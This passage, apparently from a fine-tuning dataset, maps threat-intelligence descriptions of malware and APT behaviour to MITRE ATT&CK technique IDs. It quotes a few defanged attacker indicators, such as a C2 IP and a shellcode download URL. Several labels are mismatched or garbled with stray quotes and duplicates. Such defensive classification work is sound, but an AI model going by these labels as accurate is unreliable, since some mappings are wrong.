                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has changed memory protection permissions then overwritten in memory DLL function code with shellcode, which was later executed via KernelCallbackTable hijacking. Lazarus Group has also used shellcode within macros to decrypt and manually map DLLs into memory at runtime."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SysUpdate can delete its configuration file from the targeted system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy uses SMTP and POP3 for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis exploits a security vulnerability to load a fake DLL and execute its code."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "clears the system event logs."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VERMIN can perform audio capture."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer has a data wiper component that enumerates keys in the Registry \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\"."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Many ZeroT samples can perform UAC bypass by using eventvwr.exe to execute a malicious file."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to use rm -rf to remove folders and files from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If elevated privileges are not obtained, the malware falls back to using the same Windows registry run key as the older mode variant for persistence HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. However, if the malware is successful in elevating privileges, it begins to enumerate existing Windows services on the host that are configured to run as LocalSystem. The malware selects services that are currently not active and ignores services that launch the executables svchost.exe and lsass.exe. For each service, the malware attempts to take control of the service’s executable — first using icacls.exe with the /reset flag to reset the executable’s permissions, then using takeown.exe with the /F flag to take ownership of the executable"
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Moses Staff has used the commercial tool DiskCryptor."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As shown in Figure 11, after compromising an initial victim's system (patient 0), the threat actors use the Baidu search engine to search for the victim's organization name. They then identify the Exchange server and attempt to install the OwaAuth web shell. If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail, the adversaries identify other externally accessible servers and deploy ChinaChopper web shells. Within six hours of entering the environment, the threat actors compromised multiple systems and stole credentials for the entire domain"
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LiteDuke can wait 30 seconds before executing additional code if security software is detected."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBferry can copy its installer to attached USB storage devices."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It downloads the file to the infected machine from the input URL using BITSAdmin, and is called every time the script attempts to download a file"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A noteworthy addition to the Poseidon toolkit is the IGT supertool (Information Gathering toolkit), a bulking 15 megabyte executable that orchestrates a series of different information collections steps, exfiltration, and the cleanup of components"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This screenshot is via an RDP session as indicated by the tab located at the top of the screen and is located at 164.132.67[.]216 which is hosted by OVH"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used a malicious HTA file that contained a mix of encoded HTML and JavaScript/VBScript code."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain passwords from common browsers and FTP clients."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping', 'T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has used a variety of Web shells."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploits Print Nightmare vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can obtain the computer name from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception has maintained persistence by modifying Registry run key value \n \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The shellcode executed by this PowerShell is the exact same as in the delivery documents, using code from Metasploit which can obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.]date/0m5EE We were not able to retrieve the shellcode hosted at this URL"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron can be configured to automatically exfiltrate files under a specified directory."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Cobalt Strike System Profiler can discover applications through the browser and identify the version of Java the target has."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 has used WinRM via PowerShell to execute command and payloads on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor's has a plugin that captures screenshots of the target applications."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DCSrv has a function to sleep for two hours before rebooting the system."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can steal credentials stored in Web browsers by querying the sqlite database."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has modified DNS resolvers to evade DNS monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "S-Type has used `ipconfig /all` on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DOGCALL can capture microphone data from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Summary In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents. Attacks using Bisonal have been blogged about in the past. We believe it is likely these tools are being used by one group of attackers. Though Bisonal malware has been in the wild for at least seven years and frequently updated, the actors keep using same high-level playbooks. Common features of attacks involving Bisonal include"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following graph view from IDA shows these steps.These execution steps allow the launch of the new ROKRAT variant by decoding the PE binary and injecting into the cmd.exe process"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has routinely deleted log files on a compromised router, including automatic log deletion through the use of the logrotate utility."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal on Host: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "inserts pseudo-random characters between each original character during encoding of C2 network requests, making it difficult to write signatures on them."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin can sleep for a time interval between C2 communication attempts."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used legitimate access granted to Managed Service Providers in order to access victims of interest."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpeakUp’s persistence is ensured by using cron and an internal mutex to ensure only one instance remains alive at all times"
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA416 has used SMTP2Go to impersonate various European diplomatic organizations since at least 2020. In this historical campaign, TA416 delivered a DropBox URL that delivered a PlugX variant aligning with Recorded Future’s analysis of \"Red Delta\" PlugX malware. Included below is a publicly available malicious Zip file hash from August 2020 delivered via a DropBox URL which is attributable to TA416/Red Delta"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChChes steals credentials stored inside Internet Explorer."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "So far, our telemetry hasn’t provided any concrete evidence that shows us how the Remexi malware spread. However, we think it’s worth mentioning that for one victim we found a correlation between the execution of Remexi´s main module and the execution of an AutoIt script compiled as PE, which we believe may have dropped the malware. This dropper used an FTP with hardcoded credentials to receive its payload"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects data stored in the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used Visual Basic to download malicious payloads. Kimsuky has also used malicious VBA macros within maldocs disguised as forms that trigger when a victim types any content into the lure."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In analyzing FinFisher, the first obfuscation problem that requires a solution is the removal of junk instructions and “spaghetti code”, which is a technique that aims to confuse disassembly programs. Spaghetti code makes the program flow hard to read by adding continuous code jumps, hence the name. An example of FinFisher’s spaghetti code is shown below"
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "registers itself under a Registry Run key with the name \"USB Disk Security.\""
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SodaMaster has the ability to put itself to \"sleep\" for a specified time."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We have discovered that malware dubbed WinDealer, spread by Chinese-speaking APT actor LuoYu, has an ability to perform intrusions through a man-on-the-side attack"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link', 'T1566.002 - Phishing: Spearphishing Link', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1566.002 - Phishing: Spearphishing Link', 'T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "captures window titles."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery', 'T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pony has used a small dictionary of common passwords against a collected list of local accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The \"SCOUT\" variant of  achieves persistence by adding itself to the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 10: Network traffic to download final payload (words.exe) Once executed, the file performs the following activities:  Drops a copy of itself in %AppData%\\svchost.exe\\svchost.exe and drops an XML file, which contains configuration information for Task Scheduler (as shown in Figure 11)"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The OwaAuth web shell is likely created with a builder, given that the PE compile time of the binary does not change between instances and the configuration fields are padded to a specific size"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "transfers files from the compromised host via HTTP or HTTPS to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the variables are set, the command line script copies QlpxpQpOpDpnpRpC.ini to the executable name that has been picked for this run and then attempts to kill any legitimate process using the specified name before launching it. The name for the .ini file is randomized per archive, but almost always turns out to be that of the VNC server itself"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackMatter may wipe backup systems."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT has used HTTP over a non-standard port, such as TCP port 46769."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShadowPad has collected the PID of a malicious process."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The key differences in this variant:  Two CAB files are encoded into the Word document in text boxes instead of being appended in the DOC file There is one CAB file for an x86 system and another for an x64 system This malware sample uses uacme.exe with dummy.dll to implement the UAC bypass  exe is the program vulnerable to the UAC bypass attack dll runs install.bat to set up the service (same as NTWDBLIB.dll)   exe and dummy.dll may be either 64-bit or 32-bit binaries based on the OS"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MechaFlounder has the ability to run commands on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can use a file exfiltration tool to upload specific files to Dropbox."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor has a plugin that collects information about inserted storage devices, modems, and phone devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  HTTP malware variant establishes persistence by setting the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Windows Debug Tools-%LOCALAPPDATA%\\."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has deleted existing logs and exfiltrated file archives from a victim."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macros are different. In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated. It also does not use FTP for exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SeaDuke is capable of persisting via a .lnk file stored in the Startup directory."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
